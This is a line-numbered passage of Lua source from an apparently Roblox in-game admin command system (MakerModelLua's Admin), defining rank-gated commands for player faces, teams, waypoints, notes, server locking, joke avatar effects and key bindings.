7606 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7607 for _,Face in pairs(FaceTable) do
7608 if string.lower(Arguments[2]) == string.lower(Face) then
7609 ID = FaceID
7610 break
7611 end
7612 end
7613 end
7614 end
7615 if ID then
7616 for _,Player in pairs(Players) do
7617 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7618 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7619 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7620 end
7621 end
7622 end
7623 end};
7624
7625 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7626 local Players = STRING:Scan(Arguments[1], Speaker)
7627 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7628 for _,Player in pairs(Players) do
7629 if Player.Character and Player.Character:FindFirstChild("Head") then
7630 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7631 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7632 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7633 end
7634 end
7635 end};
7636
7637 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7638 local Players = STRING:Scan(Arguments[1], Speaker)
7639 for _,Player in pairs(Players) do
7640 if Player.Character and Player.Character:FindFirstChild("Head") then
7641 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7642 end
7643 end
7644 end};
7645
7646 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7647 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7648 end, Http = true};
7649
7650 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7651 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7652 end, Http = true};
7653
7654 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7655 local Players = STRING:Scan(Arguments[1], Speaker)
7656 for _,Player in pairs(Players) do
7657 local ExistingData = Player:LoadInstance("Data")
7658 if ExistingData == nil then
7659 ExistingData = Instance.new("Configuration")
7660 end
7661 ExistingData.Name = "Player Data"
7662 local Key = Instance.new("Configuration", ExistingData)
7663 Key.Name = Arguments[2]
7664 Player:SaveInstance("Data", ExistingData)
7665 end
7666 end};
7667
7668 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7669 local Players = STRING:Scan(Arguments[1], Speaker)
7670 local Data = Arguments[2]
7671 for _,Player in pairs(Players) do
7672 local ExistingData = Player:LoadInstance("Data")
7673 if ExistingData ~= nil then
7674 if string.lower(Data) == "all" then
7675 ExistingData:ClearAllChildren()
7676 else
7677 for _,DataObj in pairs(ExistingData:GetChildren()) do
7678 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7679 DataObj:Destroy()
7680 end
7681 end
7682 end
7683 end
7684 Player:SaveInstance("Data", ExistingData)
7685 end
7686 end};
7687
7688 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7689 local Players = STRING:Scan(Arguments[1], Speaker)
7690 local DataSet = {}
7691 for _,Player in pairs(Players) do
7692 local ExistingData = Player:LoadInstance("Data")
7693 if ExistingData ~= nil then
7694 if #ExistingData:GetChildren() ~= 0 then
7695 for _,Data in pairs(ExistingData:GetChildren()) do
7696 table.insert(DataSet, Player.Name..": "..Data.Name)
7697 end
7698 else
7699 table.insert(DataSet, "Data does not exist for "..Player.Name)
7700 end
7701 else
7702 table.insert(DataSet, "Data does not exist for "..Player.Name)
7703 end
7704 end
7705 GUI:ListGui(Speaker, "Notes", DataSet)
7706 end};
7707
7708 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7709 local Players = STRING:Scan(Arguments[1], Speaker)
7710 for _,Player in pairs(Players) do
7711 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7712 Player.Character.Humanoid.WalkSpeed = 16
7713 end
7714 end
7715 end};
7716
7717 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7718 local Players = STRING:Scan(Arguments[1], Speaker)
7719 for _,Player in pairs(Players) do
7720 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7721 Player.Character.Humanoid.WalkSpeed = -16
7722 end
7723 end
7724 end};
7725
7726 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7727 local TeamColor = BrickColor.random()
7728 local TeamName = Arguments[1]
7729 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7730 if #TeamNameSplit >= 2 then
7731 local Color = TeamNameSplit[1]
7732 local NewTeamName = TeamNameSplit[2]
7733 if Color == "Medium stone grey" then
7734 TeamColor = BrickColor.new(Color)
7735 TeamName = NewTeamName
7736 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7737 TeamColor = BrickColor.new(Color)
7738 TeamName = NewTeamName
7739 elseif Colors[string.upper(Color)] then
7740 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7741 TeamName = NewTeamName
7742 end
7743 end
7744
7745 local NewTeam = Instance.new("Team", Server.Teams)
7746 NewTeam.TeamColor = TeamColor
7747 NewTeam.Name = TeamName
7748 end};
7749
7750 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7751 local Players = STRING:Scan(Arguments[1], Speaker)
7752 for _,Player in pairs(Players) do
7753 Player.Neutral = true
7754 end
7755 end};
7756
7757 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7758 local Players = STRING:Scan(Arguments[1], Speaker)
7759 if string.lower(Arguments[2]) == "none" then
7760 for _,Player in pairs(Players) do
7761 Player.Neutral = true
7762 end
7763 else
7764 for _,Obj in pairs(Server.Teams:GetChildren()) do
7765 if Obj:IsA("Team") then
7766 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7767 for _,Player in pairs(Players) do
7768 Player.Neutral = false
7769 Player.TeamColor = Obj.TeamColor
7770 end
7771 end
7772 end
7773 end
7774 end
7775 end};
7776
7777 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7778 for _,Obj in pairs(Server.Teams:GetChildren()) do
7779 if Obj:IsA("Team") then
7780 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7781 for _,Player in pairs(Server.Players:GetPlayers()) do
7782 if Player.TeamColor == Obj.TeamColor then
7783 Player.Neutral = true
7784 end
7785 end
7786 Obj:Destroy()
7787 end
7788 end
7789 end
7790 end};
7791
7792 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7793 for _,Player in pairs(Server.Players:GetPlayers()) do
7794 Player.Neutral = true
7795 end
7796 for _,Obj in pairs(Server.Teams:GetChildren()) do
7797 if Obj:IsA("Team") then
7798 Obj:Destroy()
7799 end
7800 end
7801 end};
7802
7803 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7804 for _,Player in pairs(Server.Players:GetPlayers()) do
7805 GUI:Countdown(Player, Arguments[1])
7806 end
7807 end};
7808
7809 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7810 local Players = STRING:Scan(Arguments[1], Speaker)
7811 for _,Player in pairs(Players) do
7812 if Player:FindFirstChild("Backpack") then
7813 CORE:ExecuteResource("ShowAd", Player.Backpack)
7814 end
7815 end
7816 end};
7817
7818 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7819 local Players = STRING:Scan(Arguments[1], Speaker)
7820 for _,Player in pairs(Players) do
7821 if Player.Character then
7822 for PosName,WP in pairs(Waypoints) do
7823 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7824 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7825 break
7826 end
7827 end
7828 end
7829 end
7830 end};
7831
7832 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7833 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7834 end};
7835
7836 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7837 local Num = 0
7838 for PosName,WP in pairs(Waypoints) do
7839 Num = Num + 1
7840 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7841 Waypoints[PosName] = nil
7842 end
7843 end
7844 end};
7845
7846 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7847 local WaypointHolder,WaypointRaw = {},{}
7848 for Name, WP in pairs(Waypoints) do
7849 local View = Name..": "..tostring(WP)
7850 table.insert(WaypointHolder, View)
7851 WaypointRaw[View] = WP
7852 end
7853 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7854 Clicked.Event:connect(function(Text)
7855 local Waypoint = WaypointRaw[Text]
7856 if Waypoint then
7857 if Speaker.Character then
7858 Speaker.Character:MoveTo(Waypoint)
7859 end
7860 end
7861 end)
7862 end};
7863
7864 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7865 local Players = STRING:Scan(Arguments[1], Speaker)
7866 local List = {}
7867 for _,Player in pairs(Players) do
7868 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7869 end
7870 GUI:ListGui(Speaker, "Listed Players", List)
7871 end};
7872
7873 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7874 if tonumber(Arguments[1]) then
7875 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7876 else
7877 local Players = STRING:Scan(Arguments[1], Speaker)
7878 for _,Player in pairs(Players) do
7879 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7880 end
7881 end
7882 end};
7883
7884 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7885 local Players = STRING:Scan(Arguments[1], Speaker)
7886 local Friends,OneFriend = {}, false
7887 for _,Player in pairs(Players) do
7888 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7889 --[[if Player:IsBestFriendsWith(User.UserId) then
7890 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7891 OneFriend = true
7892 ]]
7893 if Player:IsFriendsWith(User.UserId) then
7894 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7895 OneFriend = true
7896 end
7897 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7898 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7899 end
7900 end end
7901 end
7902 GUI:ListGui(Speaker, "Friend List", Friends)
7903 end};
7904
7905 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7906 Settings.ServerLocked = true
7907 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
7908 end};
7909
7910 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7911 Settings.ServerLocked = false
7912 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
7913 end};
7914
7915 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7916 local OldAge = Settings.MinimumAge
7917 local Age = tostring(Arguments[1])
7918 if Age then
7919 Settings.MinimumAge = Age
7920 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
7921 end
7922 end};
7923
7924 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7925 if Settings.VIPAdminID <= 1 then
7926 MARKET:PromptPurchase(Speaker, VIPAdminID)
7927 else
7928 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
7929 end
7930 end};
7931
7932 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7933 if Settings.VIPMemberID <= 1 then
7934 MARKET:PromptPurchase(Speaker, VIPMemberID)
7935 else
7936 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
7937 end
7938 end};
7939
7940 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
7941 if tonumber(Arguments[2]) then
7942 local Players = STRING:Scan(Arguments[1], Speaker)
7943 local Size = tonumber(Arguments[2])+25
7944 for _,Player in pairs(Players) do
7945 if Player.Character then
7946 if Player.Character:FindFirstChild("Head") then
7947 if Player.Character.Head:FindFirstChild("Mesh") then
7948 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
7949 end
7950 end
7951 end
7952 end
7953 end
7954 end};
7955
7956 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7957 local Players = STRING:Scan(Arguments[1], Speaker)
7958 for _,Player in pairs(Players) do
7959 if Player.Character and Player.Character:FindFirstChild("Torso") then
7960 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
7961 Player.Character.Parent = nil
7962 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
7963 end
7964 end
7965 end};
7966
7967 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7968 GUI:SettingsGui(Speaker)
7969 end};
7970
7971 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7972 if tonumber(Arguments[2]) then
7973 local Players = STRING:Scan(Arguments[1], Speaker)
7974 local List = {}
7975 for _,Player in pairs(Players) do
7976 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
7977 table.insert(List, Player.Name)
7978 end
7979 end
7980 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
7981 end
7982 end};
7983
7984 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
7985 local Players = STRING:Scan(Arguments[1], Speaker)
7986 for _,Player in pairs(Players) do
7987 if Player.Character and Player.Character:FindFirstChild("Head") then
7988 local Char = Player.Character
7989 Char:BreakJoints()
7990 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7991 Obj.Anchored = true
7992 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
7993 local Decal = Instance.new("Decal", Obj)
7994 Decal.Texture = "rbxassetid://178913323"
7995 Decal.Face = Face
7996 end
7997 end)
7998 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
7999 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8000 Sound1:Play() Sound2:Play()
8001 coroutine.wrap(function()
8002 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8003 repeat wait()
8004 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8005 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8006 Obj.Transparency = math.random(0,30)/100
8007 Obj.Reflectance = math.random(0,50)/100
8008 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8009 end)
8010 until Char ~= Player.Character or Char.Parent == nil
8011 end)()
8012 end
8013 end
8014 end, Hidden = true};
8015
8016 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8017 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8018 end, Http = true};
8019
8020 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8021 local Players = STRING:Scan(Arguments[1], Speaker)
8022 for _,Player in pairs(Players) do
8023 if Player.Character then
8024 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8025 Obj.Material = "Neon"
8026 end)
8027 end
8028 end
8029 end};
8030
8031 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8032 local Players = STRING:Scan(Arguments[1], Speaker)
8033 for _,Player in pairs(Players) do
8034 if Player.Character then
8035 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8036 Obj.Material = "Plastic"
8037 end)
8038 end
8039 end
8040 end};
8041
8042 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8043 local Players = STRING:Scan(Arguments[1], Speaker)
8044 for _,Player in pairs(Players) do
8045 if Player.Character then
8046 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8047 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8048 end)
8049 end
8050 end
8051 end, Hidden = true};
8052
8053 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8054 local Players = STRING:Scan(Arguments[1], Speaker)
8055 for _,Player in pairs(Players) do
8056 if Player.Character and Player.Character:FindFirstChild("Torso") then
8057 local Pos = Player.Character.Torso.Position
8058 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8059 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8060 if Answer == "Ok" then
8061 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8062 end
8063 end
8064 end
8065 end};
8066
8067 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8068 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8069 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8070 if PlayersFrom and PlayersTo then
8071 for _,PlayerFrom in pairs(PlayersFrom) do
8072 for _,PlayerTo in pairs(PlayersTo) do
8073 if PlayerFrom.Character and PlayerTo.Character then
8074 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8075 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8076 wait(5)
8077 Laser:Destroy()
8078 end)() end
8079 end
8080 end
8081 end
8082 end
8083 end};
8084
8085 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8086 local Players = STRING:Scan(Arguments[1], Speaker)
8087 for _,Player in pairs(Players) do
8088 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8089 Player.Character.Humanoid:Destroy()
8090 end
8091 end
8092 end};
8093
8094 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8095 if Plugins then
8096 local List = {}
8097 for _,Module in pairs(Plugins:GetChildren()) do
8098 if Module:IsA("ModuleScript") then
8099 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8100 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8101 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8102 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8103 end
8104 end
8105 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8106 else
8107 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8108 end
8109 end};
8110
8111 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8112 local Players = STRING:Scan(Arguments[1], Speaker)
8113 for _,Player in pairs(Players) do
8114 GUI:DetachChat(Player)
8115 end
8116 end};
8117
8118 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8119 GUI:DetachChat(Speaker)
8120 end};
8121
8122 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8123 local Players = STRING:Scan(Arguments[1], Speaker)
8124 for _,Player in pairs(Players) do
8125 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8126 local Dead = false
8127
8128 Player.Character.Humanoid.WalkSpeed = 1
8129 local Torso = Player.Character.Torso
8130 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8131 Truck:BreakJoints()
8132 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8133 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8134 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8135 Truck.Touched:connect(function(Part)
8136 if Dead == false then
8137 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8138 if TouchPlayer == Player then
8139 Dead = true
8140 Player.Character:BreakJoints()
8141 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8142 end
8143 end
8144 end)
8145 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8146 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8147 Delay(5, function()
8148 Truck:Destroy()
8149 if Player.Character:FindFirstChild("Humanoid") then
8150 Player.Character.Humanoid.WalkSpeed = 16
8151 end
8152 end)
8153 end
8154 end
8155 end};
8156
8157 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8158 local Joke = REMOTE:DownloadJoke(Speaker)
8159 local Players = STRING:Scan(Arguments[1], Speaker)
8160 for _,Player in pairs(Players) do
8161 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8162 end
8163 end, Http = true};
8164
8165 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8166 local Joke = REMOTE:DownloadJoke(Speaker)
8167 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8168 end, Http = true};
8169
8170 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8171 local Players = STRING:Scan(Arguments[1], Speaker)
8172 for _,Player in pairs(Players) do
8173 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8174 CORE:InvisiblePlayer(Player)
8175 local DogContainer = Instance.new("Model", Player.Character)
8176 DogContainer.Name = "Doge"
8177 local Dog = CORE:Insert(257489726, DogContainer, true)
8178 Dog.Head.Transparency = 0.99
8179 Dog.Name = Player.Name
8180 Dog:MoveTo(Player.Character.Torso.Position)
8181 local Weld = Instance.new("Weld", Dog.Torso)
8182 Weld.Part0 = Player.Character.Torso
8183 Weld.Part1 = Dog.Torso
8184 Weld.C0 = CFrame.new(0,-0.4,0)
8185 for _,Obj in pairs(Dog:GetChildren()) do
8186 if Obj:IsA("BasePart") then
8187 Obj.CanCollide = false
8188 end
8189 end
8190
8191 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8192 end
8193 end
8194 end};
8195
8196 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8197 local Key = string.lower(string.sub(Arguments[1],1,1))
8198 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8199 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8200 end};
8201
8202 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8203 local Key = string.lower(string.sub(Arguments[1],1,1))
8204 KeyBinds[Speaker.UserId][Key] = nil
8205 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8206 end};
8207
8208 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8209 KeyBinds[Speaker.UserId] = {}
8210 GUI:SendHint(Speaker, "Unbinded all keys")
8211 end};
8212
8213 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8214 local Players = STRING:Scan(Arguments[1], Speaker)
8215 local Key = string.lower(string.sub(Arguments[2],1,1))
8216 for _,Player in pairs(Players) do
8217 KeyBinds[Player.UserId][Key] = Arguments[3]
8218 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8219 end
8220 end};
8221
8222 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8223 local Players = STRING:Scan(Arguments[1], Speaker)
8224 local Key = string.lower(string.sub(Arguments[2],1,1))
8225 for _,Player in pairs(Players) do
8226 KeyBinds[Player.UserId][Key] = nil
8227 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8228 end
8229 end};
8230
8231 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
